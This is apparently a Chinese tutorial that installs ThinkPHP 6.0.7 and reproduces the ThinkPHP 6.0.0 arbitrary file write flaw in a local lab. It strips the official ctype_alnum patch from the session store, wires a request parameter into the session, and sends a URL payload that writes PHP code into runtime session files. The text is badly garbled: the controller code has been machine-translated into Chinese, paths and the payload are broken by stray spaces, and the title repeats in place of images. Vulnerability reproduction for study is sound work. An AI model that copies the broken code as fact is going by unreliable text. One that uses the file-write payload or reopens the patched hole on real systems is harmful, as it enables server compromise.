如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

  

这篇文章给大家介绍如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

tinkphp6.0.7的安装

一、首先准备环境phpstudy7.1.13

二、再准备Composer安装程序,安装到phpstudy7.1.13路径下

这个路径随意

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

这个路径就可以

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

进入该命令行之后执行命令进行安装

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

composer create-project topthink/think tp

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

下载之后将tp文件夹,移动到自己习惯访问的文件夹下面

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

配置信息

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

修改配置文件的

/tp/config ##路径

上一个修改错了

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

app_nameespace true改成flase

验证传参信息

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

tp6.0.0任意文件写入漏洞复现:

一、首先下载源码

composer create-project topthink/think tp 6.0.0

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

然后移动到要放到网站目录下面

之后访问:

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

发现安装成功:

6.0.0 版本号

php think run 运行开发环境

二、部署漏洞环境

漏洞文件位置:

\tp\vendor\topthink\framework\src\think\session\Store.php

注意要点:

1.删除官方打的补丁-->ctype_alnum函数

在121行把补丁给去掉

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

去掉后

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

32个字符个数,

UA头或者是cookie信息

2.步骤二:添加一个可以

\tp\app\controller\index.php添加

use think\facade\Session; //session
  
  只请求$测试=()→((& # 39;一个# 39;]);,//索引方法中写入
  会话:设置(“test"美元测试[& # 39;一个# 39;]);,//索引方法中写入

注意添加位置

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

3。步骤三:打开接受seeion会话

tp \ app \中间件。php打开会话信息

\ \中间件\ SessionInit::类

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

三、漏洞复现

http://127.0.0.1/tp/public/index.php?a=%3C?php%20phpinfo (); ?% 3 e

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

如果执行这一个的话,会发现没有任何回显,我们可以去他的网站根目录去查看

\ tp \ runtime \会话

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现